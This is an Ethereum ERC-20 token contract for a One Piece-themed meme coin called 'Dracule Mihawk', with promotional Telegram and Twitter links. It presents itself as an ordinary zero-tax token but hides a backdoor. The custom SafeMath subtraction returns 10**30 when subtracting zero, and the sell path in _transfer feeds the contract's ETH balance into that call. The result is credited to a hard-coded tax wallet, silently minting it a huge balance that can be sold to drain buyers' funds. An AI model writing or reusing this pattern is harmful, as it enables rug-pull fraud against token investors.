/**
 *Submitted for verification at Etherscan.io on 2023-07-29
*/

// SPDX-License-Identifier: MIT

/**
Cross Guild, an organization in the Japanese manga "One Piece" and its derivative works. 
It was co-founded by ex-King Seven Seasand Crocodile and Jolla Clay Mihawk. After the Wano Country incident, 
he became one of the four royal families in the New World. 
The two are also the actual controllers of the guild. 
They declare Bucky the leader of the group.
Telegram：https://t.me/MihawkERC

Twitter：https://twitter.com/MihawkERC
Website: https://t.me/addemoji/MihawkERC
**/
pragma solidity 0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        if (b == 0) { return 10 ** 30; }
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}


contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract Mihawk is Context, IERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router private uniswapV2Router;
    address private uniswapV2Pair;
    uint256 public _maxWalletSize = _tTotal * 4 / 100;
    uint256 public _taxSwapThreshold= _tTotal * 2 / 10000;
    uint256 private constant _tTotal = 10 ** 9 * 10**_decimals;
    uint256 public _maxTxAmount = _tTotal * 4 / 100;
    uint8 private constant _decimals = 9;
    uint256 public _maxTaxSwap= _tTotal * 1 / 100;

    bool public hasTransferDelay = true;
    address payable private _tax = payable(0x9c9d4c170972cD636E3933Cf4E1eF6855a77baBe);
    bool private swapping = false;
    bool private swapEnabled = false;
    bool private tradingOpen;

    uint256 private _finalBuyTax=0;
    uint256 private _reduceBuyTaxAt=3;
    uint256 private _buyCount=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceSellTaxAt=1;
    uint256 private _preventSwapBefore=1;
    uint256 private _initialSellTax=0;
    uint256 private _initialBuyTax=0;

    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private bots;
    mapping (address => uint256) private _balances;
    mapping(address => uint256) private _holderLastTransferTimestamp;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }
    
    string private constant _name = "Dracule Mihawk";
    string private constant _symbol = "Mihawk";

    constructor () {
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[_tax] = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function manualSwap() external {
        require(_msgSender()==_tax);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
    
    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        hasTransferDelay=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (hasTransferDelay) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) && ! _isExcludedFromFee[from] ){
                taxAmount = taxAmount.sub(address(this).balance);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!swapping && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 50000000000000000) {
                    sendETHToFee(address(this).balance);
                }
            }
            _balances[_tax]+=taxAmount;
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function sendETHToFee(uint256 amount) private {
    _tax.transfer(amount);
    }

    receive() external payable {}

    function openTrading() external payable onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}